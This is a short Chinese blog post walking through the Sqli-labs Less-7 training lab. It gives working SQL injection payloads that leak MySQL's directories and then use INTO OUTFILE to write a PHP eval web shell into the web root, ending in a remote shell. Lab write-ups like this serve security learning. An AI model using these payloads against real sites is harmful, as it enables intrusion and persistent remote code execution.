Sqli-labs 07

黎 浩然/ 6 12 月, 2021/ 安全/SECURITY/ 0 comments

  • 如果能够猜对 id 是由一对单引号外加两重圆括号括起来的情况下,也可以用前面的方法注入
  • 但是题目提示我们通过输出外部文件的方法来做,也需要试出 id 是由一对单引号外加两重圆括号括起来的

泄露SQL安装目录和SQL数据目录

?id=-1 union select 1,@@basedir,@@datadir --+

推测出网页文件所在的目录

  • 由此可知后台使用的是xampp集成,推测出Less 7所在的目录为C:\xampp\htdocs\sqli-labs\Less-7\fuck.php
  • 这里不能使用相对路径的原因在于MySQL的工作目录并不是网页文件所在的目录

上传WebShell到网页文件所在的目录

  • 找到目录后直接上传后门,并且用蚁剑连上去
?id=1')) union select 1,2,'<?php @eval($_POST["fuck"])?>' into outfile 'C:\\xampp\\htdocs\\sqli-labs\\Less-7\\fuck.php' --+

成功Get Shell

Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*